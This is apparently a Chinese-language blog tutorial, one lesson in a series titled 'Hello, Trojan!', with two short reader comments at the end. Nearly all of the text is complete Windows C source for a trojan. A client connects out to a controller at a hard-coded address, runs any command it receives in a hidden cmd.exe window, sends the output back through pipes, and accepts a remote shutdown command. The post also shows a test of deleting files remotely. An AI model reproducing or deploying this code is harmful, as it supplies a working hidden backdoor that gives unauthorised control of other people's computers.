上一讲的代码还是有点难看,先简单修改一下客户端的代码,将执行命令这一部分专门独立出来。
int run(char *recvCmd, char *message) { if (strcmp(recvCmd, "test") == 0) { strcpy(message, "服务端你好,有什么事吗~"); } else if (strcmp(recvCmd, "shutdown") == 0) { // 执行关机命令,设了个定时关机没直接关 system("shutdown -s -t 1800"); strcpy(message, "客户端将在 30 分钟后关闭"); } else if (strcmp(recvCmd, "cancel") == 0) { // 注销关机命令 system("shutdown -a"); strcpy(message, "客户端定时关机已取消"); } else if (strcmp(recvCmd, "exit") == 0) { return 1; } return 0; }这样写会稍微好一点,不过还是提一句,如果有研究过算法的同学,也可以使用 哈希表 来做这个,效果很快很多,而且那样的话多加几个自定义命令也没关系了。
管道 + CMD
用上一讲的办法,我们确实可以在目标计算机上做些什么可是,还远远达不到控制的程度。而且每一次新加一个功能都要去修改代码也不是很方便,有没有一个简单的办法去操控目标计算机又不用写很多代码的?
有一个很好的办法就是操作目标计算机上的 CMD,如果这个功能实现了,那么你能在当前的计算机上用 CMD 做的事情,在目标计算机上也可以做的到了。
当然如果只是简单的使用 CMD ,那其实不用麻烦什么直接用 system(“”) 函数就可以调用 CMD 了在目标计算机执行命令了,但是一个很大的问题就是,我们要如何才能看到目标计算机上 CMD 执行的输出呢?一个很简单的办法就是使用管道。(当然输出流重定向 + system(“”) 也是可以的)
服务端
稍微修改一些地方,将 recvbuf 调大了,不用 scanf 而用 gets (gets可以取一行的字符串)。
#include <stdio.h> #include <string.h> #include <Winsock2.h> #pragma comment(lib, "ws2_32.lib") void main() { /* ... */ // 将服务器端socket绑定在本地端口 bind(sockServer, (SOCKADDR *)&addrServer, sizeof(SOCKADDR)); // Listen 监听端口 listen(sockServer, 5); // 5 为等待连接数目 printf("服务器已启动:n监听中...n"); // 等待客户端连接 sockClient = accept(sockServer, (SOCKADDR *)&addrClient, &len); // 获取ip地址 ip = inet_ntoa(addrClient.sin_addr); // 输出连接提示 printf("-- IP %s 连接到服务端n", ip); while (1) { printf("-- %s: %s n>>", ip, recvBuf); gets(cmdStr); // 将命令发送到客户端 send(sockClient, cmdStr, strlen(cmdStr) + 1, 0); // 如果用户输入 exit 则结束循环 if (strcmp(cmdStr, "exit") == 0) { break; } recv(sockClient, recvBuf, 1024, 0); } closesocket(sockClient); WSACleanup(); }客户端
客户端中,我们使用 CreateProcess 来新建了一个 CMD 进程,接着使用管道,获取到 CMD 执行命令输出的结果,并把这个结果发送到服务端来。
#include <Winsock2.h> #include <stdio.h> #pragma comment(lib, "ws2_32.lib") #define MSG_LEN 1024 /** * 执行 CMD 命令 */ int cmd(char *cmdStr, char *message) { DWORD readByte = 0; char command[1024] = {0}; char buf[MSG_LEN] = {0}; //缓冲区 HANDLE hRead, hWrite; STARTUPINFO si; // 启动配置信息 PROCESS_INFORMATION pi; // 进程信息 SECURITY_ATTRIBUTES sa; // 管道安全属性 // 拼接 cmd 命令 sprintf(command, "cmd.exe /c %s", cmdStr); // printf("-- CMD 命令: [%s]n", command); // 配置管道安全属性 sa.nLength = sizeof( sa ); sa.bInheritHandle = TRUE; // 管道句柄是可被继承的 sa.lpSecurityDescriptor = NULL; // 创建匿名管道,管道句柄是可被继承的 if( !CreatePipe(&hRead, &hWrite, &sa, 1024)) { printf( "管道创建失败! Error: %xn", (unsigned int)GetLastError() ); return 1; } // 配置 cmd 启动信息 ZeroMemory( &si, sizeof( si ) ); si.cb = sizeof( si ); // 获取兼容大小 si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; // 标准输出等使用额外的 si.wShowWindow = SW_HIDE; // 隐藏窗口启动 si.hStdOutput = si.hStdError = hWrite; // 输出流和错误流指向管道写的一头 // 创建子进程,运行命令,子进程是可继承的 if ( !CreateProcess( NULL, // 不传程序路径, 使用命令行 command, // 命令行命令 NULL, // 不继承进程句柄(默认) NULL, // 不继承线程句柄(默认) TRUE, // 继承句柄 0, // 没有创建标志(默认) NULL, // 使用默认环境变量 NULL, // 使用父进程的目录 &si, // STARTUPINFO 结构存储启动信息 &pi ) ) // PROCESS_INFORMATION 保存启动后的进程相关信息 { printf( "创建进程失败! Error: %xn", (unsigned int)GetLastError() ); CloseHandle( hRead ); CloseHandle( hWrite ); return 1; } CloseHandle( hWrite ); /* 管道的 write 端句柄已被 cmd 的输出流和错误流继承, 即 cmd 输出时会把数据写入管道。 我们通过读取管道的 read 端,就可以获得 cmd 的输出 */ while (ReadFile( hRead, buf, MSG_LEN, &readByte, NULL )) { strcat(message, buf); ZeroMemory( buf, MSG_LEN ); } //printf("-- [CMD] Message: [%s] Length:%d n", message, strlen(message) + 1); CloseHandle( hRead ); return 0; } /** * 运行命令 */ int run(char *recvCmd, char *message) { if (strcmp(recvCmd, "test") == 0) { strcpy(message, "服务端你好,有什么事吗~"); } else if (strcmp(recvCmd, "shutdown") == 0) { // 执行关机命令,设了个定时关机没直接关 system("shutdown -s -t 1800"); strcpy(message, "客户端将在 30 分钟后关闭"); } else if (strcmp(recvCmd, "cancel") == 0) { // 注销关机命令 system("shutdown -a"); strcpy(message, "客户端定时关机已取消"); } else if (strcmp(recvCmd, "exit") == 0) { return 1; } else { // 调用 cmd cmd(recvCmd, message); } return 0; } void main() { int err = 0; char message[MSG_LEN] = {0}; char recvCmd[100] = {0}; SOCKET sockClient; // 客户端 Scoket SOCKADDR_IN addrServer; // 服务端地址 WSADATA wsaData; WORD wVersionRequested; wVersionRequested = MAKEWORD( 2, 2 ); err = WSAStartup( wVersionRequested, &wsaData ); if ( err != 0 ) { return; } if ( LOBYTE( wsaData.wVersion ) != 2 || HIBYTE( wsaData.wVersion ) != 2 ) { // 启动错误,程序结束 WSACleanup( ); return; } // 新建客户端 scoket sockClient = socket(AF_INET, SOCK_STREAM, 0); // 定义要连接的服务端地址 addrServer.sin_addr.S_un.S_addr = inet_addr("192.168.1.106"); // 服务端 IP addrServer.sin_family = AF_INET; // 协议类型是INET addrServer.sin_port = htons(6000); // 连接端口1234 // 让 sockClient 连接到 服务端 connect(sockClient, (SOCKADDR *)&addrServer, sizeof(SOCKADDR)); while(1) { // 清空字符串 ZeroMemory(recvCmd, sizeof(recvCmd)); ZeroMemory(message, sizeof(message)); // 从服务端获取命令 recv(sockClient, recvCmd, MSG_LEN, 0); // 发送数据到服务端 if (strlen(recvCmd) > 0) { printf("-- 收到命令: [%s]n", recvCmd); if ( run(recvCmd, message) ) { break; } // printf("Message: [%s] Length:%d n", message, strlen(message) + 1); send(sockClient, message, strlen(message) + 1, 0); } } // 关闭socket closesocket(sockClient); WSACleanup(); }客户端新增了 cmd() 函数,用来执行,并返回。
本地测试
上述图片是,远程控制目标电脑关机截图。
虚拟机测试
在 xp 的虚拟机上测试,关机功能很轻松的可以实现,不过还有一个比较大的问题问题,就是 客户端会在 CreateProcess 之后的 ReadFile 中卡壳了。程序就停在那不动了。这个让人有点小郁闷。原因是因为 readFile 读管道阻塞了。
为了适应这个变化,博主开始编写简单的多线程版本了。
简单的多线程交互
关于线程方面的知识点,没印象的同学可以去看看博主的《Windows API 教程(五) 线程编程》。
博主这里也只是简单的加了个多线程上去,各位可以简单的看下。
服务端
#include <stdio.h> #include <string.h> #include <Winsock2.h> #pragma comment(lib, "ws2_32.lib") SOCKET sockClient; // 客户端 Scoket DWORD WINAPI ThreadProc (LPVOID lpThreadParameter) { char recvBuf[1024] = {0}; //缓冲区 int num = 0; while (1) { num = recv(sockClient, recvBuf, 1024, 0); if (num > 0) { printf("Receive:n%sn>>", recvBuf); num = 0; } Sleep(50); } return 0; } void main() { int err; // 错误信息 int len = sizeof(SOCKADDR); DWORD Tid; // 线程 ID char cmdStr[100] = {0}; char sendBuf[100] = {0}; // 发送至客户端的字符串 char recvBuf[1024] = {0}; // 接受客户端返回的字符串 char * ip; SOCKET sockServer; // 服务端 Socket SOCKADDR_IN addrServer;// 服务端地址 SOCKADDR_IN addrClient;// 客户端地址 WSADATA wsaData; // winsock 结构体 WORD wVersionRequested;// winsock 的版本 // 配置 Windows Socket版本 wVersionRequested = MAKEWORD( 2, 2 ); // 初始化 Windows Socket err = WSAStartup( wVersionRequested, &wsaData ); if ( err != 0 ) { // 启动错误,程序结束 return; } if ( LOBYTE( wsaData.wVersion ) != 2 || HIBYTE( wsaData.wVersion ) != 2 ) { // 启动错误,程序结束 WSACleanup(); // 终止Winsock 2 DLL (Ws2_32.dll) 的使用 return; } // 定义服务器端socket sockServer = socket(AF_INET, SOCK_STREAM, 0); // 设置服务端 socket addrServer.sin_addr.S_un.S_addr = inet_addr("192.168.1.106"); // 本机IP addrServer.sin_family = AF_INET; // 协议类型是INET addrServer.sin_port = htons(6000); // 绑定端口6000 // 将服务器端socket绑定在本地端口 bind(sockServer, (SOCKADDR *)&addrServer, sizeof(SOCKADDR)); // Listen 监听端口 listen(sockServer, 5); // 5 为等待连接数目 printf("服务器已启动:n监听中...n"); // 等待客户端连接 sockClient = accept(sockServer, (SOCKADDR *)&addrClient, &len); // 获取ip地址 ip = inet_ntoa(addrClient.sin_addr); // 输出连接提示 printf("-- IP %s 连接到服务端n", ip); // 开启接收消息 CreateThread( NULL, // 不能被子进程继承 0, // 默认堆栈大小 ThreadProc, // 线程调用函数过程 NULL, // 传递参数 0, // 创建后立即执行 &Tid // 保存创建后的线程ID ); while (1) { printf(">>"); gets(cmdStr); // 根据输入的不同命令来执行不同的操作 if (strcmp(cmdStr, "exit") == 0) { send(sockClient, cmdStr, strlen(cmdStr) + 1, 0); break; // 如果用户输入 exit 则结束循环 } // 否则将命令发送到客户端 send(sockClient, cmdStr, strlen(cmdStr) + 1, 0); } closesocket(sockClient); WSACleanup(); }客户端
发送数据给服务端的时候,其实还有一个要注意的地方,就是不能让数据很快的发过去,因为服务端不一定能很快的接收到。有可能客户端发送了三段数据过去,而由于时间差或者网络延迟,服务端只收到了最后一段。这是多线程导致的一个问题。如果是单线程的你发我收,然后我再发你再收就会安全许多。
#include <Winsock2.h> #include <stdio.h> #pragma comment(lib, "ws2_32.lib") #define MSG_LEN 1024 SOCKET sockClient; // 客户端 Scoket HANDLE hRead; void post(char *msg) { send(sockClient, msg, strlen(msg) + 1, 0); // printf("-- post: [%s] n", msg); } DWORD WINAPI ThreadProc (LPVOID lpThreadParameter) { char buf[2048] = {0}; //缓冲区 DWORD len = 0; // printf("进入子线程, 读取数据n"); // 读管道内容,并显示 while (ReadFile( hRead, buf, MSG_LEN, &len, NULL )) { post( buf ); ZeroMemory( buf, MSG_LEN ); Sleep(800); } CloseHandle( hRead ); return 0; } int cmd(char *cmdStr, char *message) { char command[1024] = {0}; char buf[MSG_LEN] = {0}; //缓冲区 HANDLE hWrite; STARTUPINFO si; // 启动配置信息 PROCESS_INFORMATION pi; // 进程信息 SECURITY_ATTRIBUTES sa; // 管道安全属性 DWORD Tid; // 拼接 cmd 命令 sprintf(command, "cmd.exe /c %s", cmdStr); // printf("-- CMD 命令: [%s]n", command); // 配置管道安全属性 sa.nLength = sizeof( sa ); sa.bInheritHandle = TRUE; // 管道句柄是可被继承的 sa.lpSecurityDescriptor = NULL; // 创建匿名管道,管道句柄是可被继承的 if( !CreatePipe(&hRead, &hWrite, &sa, 1024)) { printf( "管道创建失败! Error: %xn", (unsigned int)GetLastError() ); return 1; } // 配置 cmd 启动信息 ZeroMemory( &si, sizeof( si ) ); si.cb = sizeof( si ); // 获取兼容大小 si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; // 标准输出等使用额外的 si.wShowWindow = SW_HIDE; // 隐藏窗口启动 si.hStdOutput = si.hStdError = hWrite; // 输出流和错误流指向管道写的一头 // 创建子进程,运行命令,子进程是可继承的 if ( !CreateProcess( NULL, // 不传程序路径, 使用命令行 command, // 命令行命令 NULL, // 不继承进程句柄(默认) NULL, // 不继承线程句柄(默认) TRUE, // 继承句柄 0, // 没有创建标志(默认) NULL, // 使用默认环境变量 NULL, // 使用父进程的目录 &si, // STARTUPINFO 结构存储启动信息 &pi ) ) // PROCESS_INFORMATION 保存启动后的进程相关信息 { printf( "创建进程失败! Error: %xn", (unsigned int)GetLastError() ); CloseHandle( hRead ); CloseHandle( hWrite ); return 1; } CloseHandle(pi.hProcess); CloseHandle(pi.hThread); CloseHandle( hWrite ); CreateThread( NULL, // 不能被子进程继承 0, // 默认堆栈大小 ThreadProc, // 线程调用函数过程 hRead, // 传递参数 0, // 创建后立即执行 &Tid // 保存创建后的线程ID ); // TODO:: 结束上一次线程 return 0; } int run(char *recvCmd, char *message) { if (strcmp(recvCmd, "test") == 0) { strcpy(message, "服务端你好,有什么事吗~"); } else if (strcmp(recvCmd, "shutdown") == 0) { // 执行关机命令,设了个定时关机没直接关 system("shutdown -s -t 1800"); strcpy(message, "客户端将在 30 分钟后关闭"); } else if (strcmp(recvCmd, "cancel") == 0) { // 注销关机命令 system("shutdown -a"); strcpy(message, "客户端定时关机已取消"); } else if (strcmp(recvCmd, "exit") == 0) { return 1; } else { // 调用 cmd cmd(recvCmd, message); } return 0; } void main() { int err = 0; char message[MSG_LEN] = {0}; char recvCmd[100] = {0}; SOCKADDR_IN addrServer; // 服务端地址 WSADATA wsaData; WORD wVersionRequested; wVersionRequested = MAKEWORD( 2, 2 ); err = WSAStartup( wVersionRequested, &wsaData ); if ( err != 0 ) { return; } if ( LOBYTE( wsaData.wVersion ) != 2 || HIBYTE( wsaData.wVersion ) != 2 ) { // 启动错误,程序结束 WSACleanup( ); return; } // 新建客户端 scoket sockClient = socket(AF_INET, SOCK_STREAM, 0); // 定义要连接的服务端地址 addrServer.sin_addr.S_un.S_addr = inet_addr("192.168.1.106"); // 服务端 IP addrServer.sin_family = AF_INET; // 协议类型是INET addrServer.sin_port = htons(6000); // 连接端口1234 // 让 sockClient 连接到 服务端 connect(sockClient, (SOCKADDR *)&addrServer, sizeof(SOCKADDR)); while(1) { // 清空字符串 ZeroMemory(recvCmd, sizeof(recvCmd)); ZeroMemory(message, sizeof(message)); // 从服务端获取命令 recv(sockClient, recvCmd, MSG_LEN, 0); // 发送数据到服务端 if (strlen(recvCmd) > 0) { printf("-- 收到命令: [%s]n", recvCmd); if ( run(recvCmd, message) ) { break; } // printf("Message: [%s] Length:%d n", message, strlen(message) + 1); post(message); } } // 关闭socket closesocket(sockClient); WSACleanup(); }远程删除目标电脑上的文件测试截图:
文章索引
上一讲:木马,你好!(二)最简单的木马
下一讲:木马,你好!(三)管道与远程控制
为什么这里 服务端会收到三段 数据啊
赞赞
哦哦,我明白了,这是由于客户端的多线程导致的。但是这里的客户端接受数据的时候加上了一个多线程有什么用啊???
赞赞